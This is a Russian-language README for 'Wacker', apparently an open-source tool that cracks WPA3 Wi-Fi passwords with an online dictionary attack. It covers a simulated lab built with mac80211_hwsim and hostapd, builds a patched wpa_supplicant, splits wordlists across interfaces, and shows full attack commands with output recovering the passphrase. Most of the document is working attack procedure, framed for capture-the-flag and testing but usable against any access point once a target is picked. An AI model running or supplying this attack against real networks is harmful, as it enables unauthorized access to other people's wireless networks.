
Словарный взломщик WPA3
Набор скриптов для выполнения атаки по словарю в реальном времени против точки доступа WPA3. Wacker использует управляющий интерфейс wpa_supplicant для управления работой демона supplicant и получения информации о состоянии и уведомлений о событиях, что в конечном итоге ускоряет попытки подключения при подборе паролей.
Если вы не можете найти точку доступа WPA3 для тестирования, рассмотрите возможность настройки локального окружения с помощью mac80211_hwsim (подробности ниже) или использования виртуальных машин, предоставленных RF Hackers Sanctuary (scoreboard.rfhackers.com).
Чтобы настроить собственный программный симулятор радиоустройств 802.11, просто сконфигурируйте и загрузите правильный модуль mac80211_hwsim.
# modprobe mac80211_hwsim radios=4
# iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan1 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan2 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan3 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Выберите один из новых интерфейсов в качестве точки доступа WPA3 и используйте следующий конфигурационный файл.
# cat hostapd.conf
interface=wlan0
ssid=WCTF_18
driver=nl80211
hw_mode=g
channel=1
logger_syslog=-1
logger_syslog_level=3
wpa=2
wpa_passphrase=Aeromechanics
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
group_mgmt_cipher=AES-128-CMAC
И запустите hostapd с помощью
# hostapd -K -dd hostapd.conf
Если вы планируете распределить усилия по взлому на несколько сетевых интерфейсов, предоставленный скрипт split.sh разделит список слов для вас.
# ./split.sh 10 cyberpunk.words
50916 cyberpunk.words.aaa
50916 cyberpunk.words.aab
50916 cyberpunk.words.aac
50916 cyberpunk.words.aad
50916 cyberpunk.words.aae
50916 cyberpunk.words.aaf
50916 cyberpunk.words.aag
50916 cyberpunk.words.aah
50916 cyberpunk.words.aai
50907 cyberpunk.words.aaj
509151 total
Мы предоставляем собственную версию wpa_supplicant, чтобы гарантировать установку определенных конфигураций, а также несколько модификаций, которые необходимо внести в сам исходный код.
# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
# cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
# git apply wpa_supplicant.patch
# cd wpa_supplicant-2.10/wpa_supplicant
# make -j4
# ls -al wpa_supplicant
-rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant
требуется python3.6+
Wacker следует рассматривать как дополнительный инструмент к airodump или kismet, где выбор цели уже выполнен. Wacker намеренно отключает фоновое сканирование в wpa_supplicant, чтобы ускорить попытки аутентификации.
Скрипт wacker.py предназначен для выполнения всей основной работы и требует несколько конкретных данных о цели.
# ./wacker.py --help
usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
--ssid SSID --freq FREQ [--start START_WORD] [--debug]
A WPA3 dictionary cracker. Must run as root!
optional arguments:
-h, --help show this help message and exit
--wordlist WORDLIST wordlist to use
--interface INTERFACE
interface to use
--bssid BSSID bssid of the target
--ssid SSID the ssid of the WPA3 AP
--freq FREQ frequency of the ap
--start START_WORD word to start with in the wordlist
--debug increase logging output
При удачном раскладе... запуск атаки с использованием одного экземпляра...
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
Start time: 21 Aug 2020 07:40:11
Starting wpa_supplicant...
5795 / 509151 words (1.14%) : 79.41 words/sec : 0.020 hours lapsed : 1.76 hours to exhaust (21 Aug 2020 09:25:49)
Found the password: 'Aeromechanics'
Stop time: 21 Aug 2020 07:41:24
Запуск нескольких экземпляров wacker прост, если у вас есть свободные сетевые интерфейсы. Не забудьте разделить список слов.
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
Wacker довольно подробно логирует. Важные файлы находятся в /tmp/wacker/
Wacker не обрабатывает списки контроля доступа (ACL), установленные целевой точкой доступа WPA3. То есть текущий код всегда использует один и тот же MAC-адрес. Если целевая точка доступа занесет наш MAC-адрес в черный список, скрипт не сможет отличить настоящий сбой аутентификации от отклонения из-за черного списка. Это приведет к тому, что мы будем считать правильный пароль неверным. Один из способов решения... нам пришлось бы добавить macchanger в исходный код за счет замедления.
u631_3: WPA: AP group 0x10 network profile group 0x18; available group 0x10
u631_3: WPA: using GTK CCMP
u631_3: WPA: AP pairwise 0x10 network profile pairwise 0x18; available pairwise 0x10
u631_3: WPA: using PTK CCMP
u631_3: WPA: AP key_mgmt 0x400 network profile key_mgmt 0x400; available key_mgmt 0x400
u631_3: WPA: Failed to select authenticated key management type
u631_3: WPA: Failed to set WPA key management and encryption suites